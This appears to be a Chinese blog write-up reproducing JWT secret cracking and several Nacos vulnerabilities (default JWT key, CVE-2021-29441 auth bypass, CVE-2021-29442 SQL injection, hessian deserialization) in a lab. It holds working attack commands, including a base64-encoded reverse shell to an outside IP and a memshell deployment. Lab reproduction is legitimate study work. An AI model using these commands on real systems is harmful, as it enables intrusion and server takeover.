其他漏洞复现

其他漏洞复现

JWT 身份验证

简介

JSON Web Token (JWT) 是一种开放标准的令牌技术(RFC 7519),用于在网络应用间传递信息。JWT 通常用作身份验证和授权的凭证,类似于传统的 Cookie 或 Session Token。JWT 由三部分组成:Header(头部)、Payload(负载)和 Signature(签名),通过点号(.)分隔,编码为 Base64 格式。

JWT 的工作原理

  • Header:包含令牌类型(通常为 JWT)和签名算法(如 HS256、RS256)。
  • Payload:包含声明(Claims),如用户信息、有效期等。
  • Signature:使用密钥对 Header 和 Payload 进行签名,用于验证令牌的完整性。

安全风险: 如果攻击者获取了 JWT 的密钥(Secret),即可伪造任意 JWT 令牌,从而冒充合法用户,绕过身份验证机制。

获取密钥的方式

  1. 暴力破解:通过弱口令或密码字典爆破密钥。
  2. 信息泄露:通过系统配置泄露(如 Spring Boot Actuator 的 heapdump 接口)获取密钥。

危害: 如果攻击者可以得知密钥,攻击者可伪造 JWT 实现任意用户登录,甚至提升权限,访问受限资源。

爆破工具:JWTPyCrack

python jwtcrack-py -m blasting -s "JwT字符串" -a HS256 --kf 密码字典

python jwtcrack.py -m blasting -s "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NTQ1NDQ1OTcsImV4cCI6MTc1NDYzMDk5NywidXNlcm5hbWUiOiJhZG1pbiJ9.x9nkLB2OPYiSF_AYbmaNDA_rfVkRpU2MbjKJj0ryO_U" -a HS256 --kf /mnt/d/Password/fuzzDicts-master/fuzzDicts-master/passwordDict/top500.txt

如图爆破出的密码是 123456

image-20250807141847822

即可修改 JWT。

image-20250807141802387

Nacos

简介

Nacos 是一个开源的云原生的微服务管理平台,提供服务注册与发现、配置管理、动态 DNS 等功能,广泛应用于微服务架构中。Nacos 默认使用 JWT 进行身份验证,且存在多种高危漏洞,如默认密钥、权限绕过、SQL 注入等。

常见漏洞

Nacos 默认 JWT 密钥

靶场:

docker run -d --name nacos -p 8848:8848 -e PREFER_HOST_MODE=hostname -e MODE=standalone nacos/nacos-server:v2.2.0

 

Nacos 2.2 以下版本使用默认 JWT 密钥,如果管理员未修改密钥,攻击者可利用默认密钥伪造 JWT 登录。

JWT secert

SecretKey012345678901234567890123456789012345678901234567890123456789

Nacos 默认 JWT

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc0NzgyOTk4NH0.TwMWMfnYUUly8gd12u-_ZF-z9HXi_DdU0wl4uad8bJE

Nacos 默认响应体

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTc0NzgyOTk4NH0.TwMWMfnYUUly8gd12u-_ZF-z9HXi_DdU0wl4uad8bJE","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

首先访问网站:http://192.168.2.243:8848/nacos/#/login,进入到登录页面。

image-20250807145037815

使用 BurpSuite 开启拦截。

image-20250807144838827

设定拦截相应的响应,随后放请求包。

image-20250807144952337

修改拦截到的响应包,将返回的响应包的状态码修改为 200,响应体修改为默认的响应体,并替换其中的 JWT 为自己设定的 JWT。

image-20250807145758600

image-20250807145719013

放包,随后即可成功登录。

image-20250807145554626

Nacos 登录后,没有命令执行,只能泄露微服务的密钥

Nacos 权限绕过漏洞

靶场:vulhub/nacos/CVE-2021-29441

首先访问网站:

发现在未登录的情况下,访问后台接口:

http://192.168.2.243:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

会返回 403 状态码。

image-20250807153640449

此时如果修改请求包,加上请求头 User-Agent:Nacos-Server,即可绕过登录限制,直接访问后台接口。

image-20250807154823591

那么同样以这样的方式可以直接创建一个用户。

那么访问:http://192.168.2.243:8848/nacos/v1/auth/users,同时使用 POST 请求携带 GET 参数发送请求包,创建一个用户。

http://192.168.2.243:8848/nacos/v1/auth/users?username=xiaoming&password=123456

image-20250807154343956

随后访问 http://192.168.2.243:8848/naco 即可使用自己创建的用户登录。

image-20250807154513875

Nacos SQL 注入

靶场:vulhub/nacos/CVE-2021-29442

首先访问 http://192.168.2.243:8848/nacos/即可看到登录页面。

但是存在接口 /nacos/v1/cs/ops/derby 可以未授权访问。

访问该接口,提示缺少 SQL 语句,那么就写一个 SQL 语句并发送。

image-20250807160050926

此时可以获取到相应的信息,那么就有可能利用该漏洞进行 GetShell 等操作。

使用脚本工具进行 GetShell:

python poc.py -t http://192.168.2.243:8848/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNzIuNTkuMTA2LzE1MDAwIDA+JjE=}|{base64,-d}|{bash,-i}"

image-20250807163114499

此时即可在攻击机获取到 Shell。

image-20250807163050455

Ncaos hessian 反序列化

Nacos 7848 端口传输 hessian 协议,hessian 和 WebLogic 的 T3 协议差不多,都是序列化和反序列化。

首先可以正常访问网站。

直接使用工具 NacosRce 进行攻击。

java -jar NacosRce.jar "http://192.168.2.243:8848/nacos" 7848 memshell

image-20250807171916750

使用冰蝎进行连接。

1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond

image-20250807172245013

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇